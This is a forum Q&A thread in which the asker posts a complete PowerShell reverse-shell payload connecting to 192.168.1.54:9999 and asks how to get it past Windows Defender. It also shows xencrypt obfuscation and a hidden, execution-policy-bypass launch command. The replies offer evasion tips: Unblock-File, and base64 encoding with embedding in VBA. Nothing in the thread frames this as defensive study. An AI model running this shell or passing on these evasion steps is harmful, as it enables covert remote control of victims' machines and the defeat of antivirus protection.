powershell reverse shell AV evasion - powershell

Question

I'm trying to run a powershell reverse shell on windows 10. Anyway everytime it is blocked by Wndows Defender. How can I bypass it?
In a file I store the payload $client = New-Object System.Net.Sockets.TCPClient('192.168.1.54',9999);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close();
then I use xencrypt (https://github.com/the-xentropy/xencrypt) to obfuscate the code but when I
run powershell -NoP -NonI -W Hidden -Exec Bypass .\revshell.ps1
I get Questo script include contenuto dannoso ed è stato bloccato dal software antivirus.
In riga:18 car:1
+ IEX($piifnga)
+ ~~~~~~~~~~~~~
+ CategoryInfo : ParserError: (:) [Invoke-Expression], ParseException
+ FullyQualifiedErrorId : ScriptContainedMaliciousContent,Microsoft.PowerShell.Commands.InvokeExpressionCommand
QUESTION: is there a way to bypass this check?

Answer 1

Have you tried Unblock-File .\revshell.ps1 before trying to run the reverse shell script (understanding the risks associated with running untrusted code downloaded onto the machine)?

Answer 2

Just encoded it or you can change it to base64 to embed it to vba